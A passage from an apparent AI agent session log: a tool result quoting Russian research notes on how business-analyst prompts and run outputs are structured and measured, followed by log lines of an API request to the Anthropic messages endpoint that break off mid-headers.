\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 (\u0430\u043d\u0430\u043b\u0438\u0437, \u0434\u0440\u0430\u0444\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f) |\\n| `bcreq-` | 4 | \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 (business change request) |\\n| `prompt-` | 3 | \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430\u0434 \u0441\u0430\u043c\u0438\u043c\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438, \u0430 \u043d\u0435 \u043d\u0430\u0434 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c |\\n| `tz-`, `usecase-`, `user-`, `gap-`, `kb-`, `industry-`, `session-`, `multichannel-` | \u043f\u043e 1 | \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b\u0435 \u0442\u0438\u043f\u044b |\\n\\n**\u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435.** 32 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 `task-`, \u0442\u043e \u0435\u0441\u0442\u044c \u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u043f\u0440\u043e\u0448\u0451\u043b \u0447\u044c\u044e-\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e. \u0418\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435\\n\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0441\u043b\u0430\u0431\u043e (4 `bcreq-`): \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c **\u0441\u0430\u043c\u043e\u0433\u043e \u0440\u0430\u043d\u043d\u0435\u0433\u043e** \u0443\u0447\u0430\u0441\u0442\u043a\u0430 \u0432\u0445\u043e\u0434\u0430\\n\u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n\\n=== 2026-09-08-artifact-structure-variance-facts.md\\n## 1. \u0427\u0442\u043e \u0438 \u043a\u0430\u043a \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`. \u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c:\\n[`exp/ba-micro-structure-561/measure-artifact-structure.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/measure-artifact-structure.py).\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 `##` \u043a\u0430\u0436\u0434\u043e\u0433\u043e markdown-\u0444\u0430\u0439\u043b\u0430 \u0432 `outputs/`, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0438\u0445 \u043a\\n\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0435 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u0432 **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432** (`S-*`) \u043f\u043e\\n\u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\\n\u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u0433\u043e \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0438, \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u043e\u0439\\n`SLOT_RULES` \u0432 \u0448\u0430\u043f\u043a\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e.\\n\\n\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u2192 \u0441\u043b\u043e\u0442\u00bb \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 **\u0444\u043e\u0440\u043c\u0443** \u043e\u0442 **\u0441\u043c\u044b\u0441\u043b\u0430**: \u0434\u0432\u0430\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438 (`1. \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439` \u0438 `1. \u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f`)\\n\u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 `S-GLOSSARY`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435\\n\u043d\u0438\u0436\u0435, \u2014 \u044d\u0442\u043e \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u0441\u043c\u044b\u0441\u043b\u0443, \u0430 \u043d\u0435 \u043f\u043e \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432.\\n\\n## 2. \u0421\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u0430 125 \u00ab\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438\u00bb \u0438 72 % \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u0420\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u0440\u0438\u0447\u0438\u043d\u0443: \u0432 `outputs/` \u043b\u0435\u0436\u0430\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\\n\u0444\u0430\u0439\u043b\u043e\u0432, \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0442\u0443 \u0436\u0435 \u043b\u0435\u043a\u0441\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0447\u0442\u043e \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 `classify_doc_kind()` \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u0438\u0445; \u0432\u0441\u0435 \u0442\u0440\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n`artifact-structure.json`, \u043d\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0442\u0440\u0435\u0442\u044c\u0435\u043c\u0443.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0424\u0430\u0439\u043b\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e |\\n| --- | --- | --- |\\n| `run-journal` | 63 | \u0436\u0443\u0440\u043d\u0430\u043b \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u044d\u043f\u0438\u0437\u043e\u0434\u044b, \u0432\u0435\u0440\u0434\u0438\u043a\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e |\\n| `analysis-note` | 45 | \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| `requirement-document` | 17 | **\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0411\u0410** \u2014 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0437\u0430\u043c\u0435\u0440\u0430 |\\n\\n\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043e 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432; markdown-\u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043b\u0435\u043a\u0441\u0438\u043a\u043e\u0439 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 125.\\n\\n=== 2026-09-09-legacy-normative-influence-facts.md\\n## 1. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435, \u0430 \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\\n\u0448\u0438\u0440\u043e\u043a\u0438\u0435 (RU + EN, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0430 **\u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443\\n\u0437\u0430\u0432\u044b\u0448\u0435\u043d\u0438\u044f** \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430.\\n\\n| \u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f | \u0427\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 | \u041f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438\u0437 24 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 |\\n| --- | --- | --- | --- |\\n| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 |\\n| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n| `MM-4` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 | **0** | **0** |\\n| `OPS-2` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u044b | **0** | **0** |\\n| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n| `G-self` \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u0434\u043e \u0432\u044b\u0434\u0430\u0447\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | **0** | 7 |\\n| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n| `SK-4` \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f | **0** | 1 |\\n| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n| `SK-5` \u0432\u0435\u0440\u0441\u0438\u044f \u0432\u043e frontmatter | \u0432\u0435\u0440\u0441\u0438\u044f \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0432 \u0438\u043c\u0435\u043d\u0438 | 24 | 67 |\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0444\u0430\u043a\u0442.** \u0418\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 **\u0434\u0435\u0441\u044f\u0442\u044c\\n\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432**, \u0447\u0435\u0442\u044b\u0440\u0435 \u2014 \u043d\u0438 \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445,\\n\u043d\u0438 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445. \u0421\u0440\u0435\u0434\u043d\u0435\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 \u2014 **1.04** \u043f\u0440\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0435 2,\\n\u0438 \u044d\u0442\u0430 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 `version:` \u0432\u043e frontmatter, \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u0430\\n\u043d\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u043d\u043e\u0440\u043c\u044b.\\n\\n## 2. \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e: \u044d\u0442\u0438\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0442\u0430\u043c \u043d\u0435\u0442. \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014\\n   \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430\u00bb \u043d\u0435 \u0441\u0443\u0436\u0430\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u043d\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n   \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u0435\u043b.\\n2. **\u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u0430.** \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u043e \u0444\u043e\u0440\u043c\u0435\\n   (\u0436\u0451\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0448\u0430\u0433\u0438, \u0440\u043e\u043b\u0438), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438 \u0441\u0438\u043d\u0442\u0435\u0437\u0435 \u00ab\u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443\u00bb \u043e\u043d\u0438 \u0441\u043a\u043b\u043e\u043d\u043d\u044b\\n   \u0434\u0438\u043a\u0442\u043e\u0432\u0430\u0442\u044c **\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443** \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u043d\u0435 \u043d\u0435\u0441\u044f \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0439\\n   \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u041e\u0442\u0441\u044e\u0434\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e\\n   \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u043e\u0431\u0440\u043e\u0441\u043e\u0432\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0437\u0430 (`LG-4` ADR-014).\\n3. **\u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (7\u20139 \u0438\u0437 67) \u2014 \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440.** \u042d\u0442\u043e\",\n[2026-09-29T07:47:57.591Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:57.591Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:57.591Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:57.591Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:57.591Z] [INFO]   }\n[2026-09-29T07:47:57.591Z] [INFO] }\n[2026-09-29T07:47:57.652Z] [STDOUT] [log_7307a5] sending request {\n[2026-09-29T07:47:57.658Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:57.665Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:57.667Z] [STDOUT]   options: {\n[2026-09-29T07:47:57.671Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:57.675Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:57.678Z] [STDOUT]     body: {\n[2026-09-29T07:47:57.682Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:57.685Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:57.690Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:57.695Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:57.700Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:57.706Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:57.715Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:57.725Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:57.732Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:57.740Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:57.756Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:57.761Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:57.766Z] [STDOUT]     },\n[2026-09-29T07:47:57.778Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:57.781Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:57.784Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:57.788Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:57.792Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:57.797Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:57.801Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:57.805Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:57.812Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:57.818Z] [STDOUT]     },\n[2026-09-29T07:47:57.822Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:57.825Z] [STDOUT]   },\n[2026-09-29T07:47:57.843Z] [STDOUT]   headers: {\n[2026-09-29T07:47:57.849Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:57.856Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:57.866Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:57.878Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:57.886Z] [STDOUT]     \"anthropic-version\": 